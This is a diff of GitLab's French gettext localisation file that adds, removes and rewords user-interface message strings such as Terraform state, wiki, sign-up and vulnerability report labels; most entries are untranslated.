msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restrictions d’inscription"
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr "Application Slack"
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,8 +25493,8 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
-msgstr "Une erreur s’est produite lors de la fermeture du / de la %{issuable}. Veuillez réessayer plus tard"
+msgid "Something went wrong while closing the merge request. Please try again later"
+msgstr ""
msgid "Something went wrong while creating a requirement."
msgstr ""
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr "Spécifiez un motif d’expression rationnelle permettant l’identifica
msgid "Specify the following URL during the Runner setup:"
msgstr "Spécifiez l’URL suivante lors de la configuration de l’exécuteur :"
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr "Modèle"
@@ -26232,6 +26798,9 @@ msgstr "Conditions générales d’utilisation et politique de confidentialité"
msgid "Terms of Service and Privacy Policy"
msgstr "Conditions générales d’utilisation et politique de confidentialité"
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr "Le système de suivi est un endroit où l’on peut ouvrir un ticket pou
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,12 +27046,12 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "Le certificat X.509 à utiliser lorsque l’authentification TLS mutuelle est requise pour communiquer avec le service d’autorisation externe. Si ce champ est vide, le certificat du serveur est tout de même validé lors de l’accès via HTTPS."
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
-msgstr ""
-
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
msgstr ""
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr "La relation de divergence a été supprimée."
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr "Le présentoir des tickets affiche le temps nécessaire entre la création d’un ticket et son assignation à un jalon ou son ajout à une liste dans votre tableau de tickets. Commencez par créer des tickets pour voir des données sur ce présentoir."
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr "L’étape de pré-production indique le temps entre l’acceptation dâ€
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr "L’étape de test montre le temps que que met l’intégration continue de GitLab pour exécuter chaque pipeline pour une demande de fusion donnée. Les données seront automatiquement ajoutées après que votre premier pipeline s’achèvera."
@@ -26773,7 +27387,7 @@ msgstr "Le temps pris par chaque entrée récoltée durant cette étape."
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr "L’action de mise à jour expirera au bout de %{number_of_minutes} minutes. Pour les gros dépôts, utilisez une combinaison de clone et push."
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr "La carte des utilisateurs met en correspondance les utilisateurs de FogBugz qui ont participé à vos projets en précisant la manière dont leurs adresses de courriel et leurs noms d’utilisateur sont importés dans GitLab. Vous pouvez y apporter des modifications en remplissant le tableau ciâ€dessous."
@@ -26803,6 +27414,9 @@ msgstr "La valeur située au point médian d’une série de valeur observée. P
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr "Il n’y a pas encore de projets partagés avec ce groupe"
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr "Cette demande de fusion est verrouillée."
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr "Cette page n’est pas disponible car vous n’êtes pas autorisé à li
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr "Délai d’attente"
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] "hr"
@@ -27914,6 +28531,9 @@ msgstr "s"
msgid "Tip:"
msgstr "Astuce :"
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr "Titre"
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr "Mettez à niveau votre forfait pour améliorer les tableaux de tickets."
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr "Téléverser un fichier"
@@ -28883,6 +29509,9 @@ msgstr "Votes positifs"
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr "Activité"
@@ -29222,6 +29863,9 @@ msgstr "Projets personnels"
msgid "UserProfile|Report abuse"
msgstr "Signaler un abus"
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr "Fragments de code"
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr "Tout afficher"
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr "Utilisateurs et utilisatrices"
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr "Divers paramètres qui affectent les performances de GitLab."
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr "Voir le fichier @ "
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr "Afficher les labels de projet"
msgid "View replaced file @ "
msgstr "Voir le fichier remplacé @ "
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr "Classe"
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr "Projet"
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr "Gravité"
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr "Wiki"
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30278,6 +30958,9 @@ msgstr "Version de la page"
msgid "Wiki|Pages"
msgstr "Pages"
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30359,9 +31042,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr "Oui, permettezâ€moi d’associer les utilisateurs de Google Code aux noms complets ou aux nom d’utilisateurs de GitLab."
-
msgid "Yesterday"
msgstr "Hier"
@@ -30371,6 +31051,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30416,6 +31099,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30575,6 +31261,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr "Vous pouvez tester votre fichier « .gitlab-ci.yml » avec %{linkStart}CI Lint%{linkEnd}."
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30617,6 +31306,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30695,6 +31387,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30779,9 +31477,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30824,13 +31519,10 @@ msgstr "Vous ne recevrez de notifications que pour les commentaires où vous êt
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr "Vous devez %{set_password_link} pour votre compte afin de pouvoir récupérer ou pousser du code via %{protocol}"
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
-msgstr "Vous ne pourrez pas récupérer ou pousser de code via SSH tant que vous n’aurez pas ajouté de clef SSH à votre profil"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -30860,9 +31552,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr "Vous recevez ce courriel parce que vous possédez un compte sur %{host}."
@@ -30881,6 +31570,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr "YouTube"
@@ -30905,6 +31597,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -30917,6 +31612,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31058,6 +31756,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31106,6 +31807,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31115,6 +31822,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31124,6 +31834,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31294,14 +32007,11 @@ msgstr "%{reportType} : le chargement a généré une erreur"
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr "(erreurs lors du chargement des résultats)"
-
-msgid "ciReport|(is loading)"
-msgstr "(en cours de chargement)"
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
-msgstr "(en cours de chargement, erreurs lors du chargement des résultats)"
+msgid "ciReport|API Fuzzing"
+msgstr ""
msgid "ciReport|All projects"
msgstr ""
@@ -31467,6 +32177,12 @@ msgstr[1] "Utilisé par %{packagesString} et %{lastPackage}"
msgid "ciReport|View full report"
msgstr "Voir le rapport complet"
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31485,9 +32201,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr "connexion en cours"
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31503,9 +32216,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr "personnaliser"
-
msgid "data"
msgstr ""
@@ -31544,9 +32254,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr "terminé"
-
msgid "download it"
msgstr ""
@@ -31635,6 +32342,9 @@ msgstr ""
msgid "for this project"
msgstr "pour ce projet"
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31661,6 +32371,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31682,8 +32395,8 @@ msgstr ""
msgid "import flow"
msgstr "flux d’importation"
-msgid "importing"
-msgstr "importation en cours"
+msgid "in"
+msgstr ""
msgid "in group %{link_to_group}"
msgstr ""
@@ -32211,6 +32924,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32238,6 +32954,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32250,6 +32969,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] "sur un total de %d test"
@@ -32327,6 +33049,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32380,6 +33105,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32392,9 +33120,15 @@ msgstr ""
